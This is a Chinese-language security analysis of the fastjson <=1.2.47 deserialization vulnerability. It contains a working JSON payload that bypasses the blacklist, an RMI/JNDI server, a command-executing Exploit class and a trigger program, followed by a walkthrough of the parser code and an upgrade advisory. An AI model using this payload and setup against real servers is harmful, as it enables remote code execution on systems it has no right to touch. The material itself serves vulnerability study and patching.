fastjson =< 1.2.47 反序列化漏洞浅析
文章出处:
https://www.03sec.com/3240.shtml
https://www.secquan.org/ 圈子社区牛逼!!!
作者:iiusky
#poc
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}
最近据说爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版)
环境准备
阅读本篇文章之前建议先了解一下fastjson中的jndi漏洞利用方式。
## rmiServer.java
/*
* Copyright sky 2019-07-11 Email:sky@03sec.com.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package cn.org.javaweb.fastjsontest;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @author sky
*/
public class test3 {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"Exploit","http://localhost:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
##Exploit.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class Exploit implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}
public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}
public static void main(String[] args) {
exec("123");
}
}
##poc.java
/*
* Copyright sky 2019-07-11 Email:sky@03sec.com.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package cn.org.javaweb.fastjsontest;
import com.alibaba.fastjson.JSON;
/**
* @author sky
*/
public class test5 {
public static void main(String[] argv) {
String payload = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}," +
""xxxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":" +
""rmi://localhost:1099/Exploit","autoCommit":true}}}";
JSON.parse(payload);
}
}
其中Exploit.java需要使用javac编译执行一次生成Exploit.class并放置在localhost:8000
端口的根目录。我这边使用python简单的httpServer搭建的简易http服务器。
调用分析
调用过程和之前的 《fastjson jndi利用方式》 差不多,这边使用了一个特性绕过了黑名单机制,在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
执行逻辑中:
首先遇到的是第一个key@type
,然后进行了以下的判断,如果是@type
并且启用了特殊key检查的话,那么就把对应的value作为类来加载。这边摘取片段来进行展示。
if (key == JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
………… ………… …………
if (object != null&&object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}
………… ………… …………
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;
}
fastjson会去检测@type的类是否为黑名单中的类,
而poc中传入的@type
为java.lang.class
并非黑名单中的类,所以第一步检测的通过的。
接下来会把对应的value进行加载,也就是加载java.lang.class
跟进deserialze
方法(com.alibaba.fastjson.serializer.MiscCodec#deserialze)
可以看到lexer中的stringVal为poc中的val
,而val
的值为com.sun.rowset.JdbcRowSetImpl
.
接下来将objVal
赋值给strVal
然后执行下面一大串if判断,其中有个if为:
如果传入的clazz为java.lang.class
,则会调用TypeUtils.loadClass
加载com.sun.rowset.JdbcRowSetImpl
类,
跟进loadClass方法
从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl
放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)
去获取class不为空,从而绕过了黑名单检测
导致将com.sun.rowset.JdbcRowSetImpl
放入mapping中的问题点是在loadClass
中的第三个参数,该参数是指是否对class放入缓存mapping中。
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)
1.2.47版本中的代码
1.2.48版本中的代码
##结语
文章中有不对的点欢迎指出,勿喷,文明交流
##参考
https://github.com/iBearcat/FastJson-JdbcRowSetImpl-RCE
https://github.com/MagicZer0/fastjson-rce-exploit
想了解更多 欢迎关注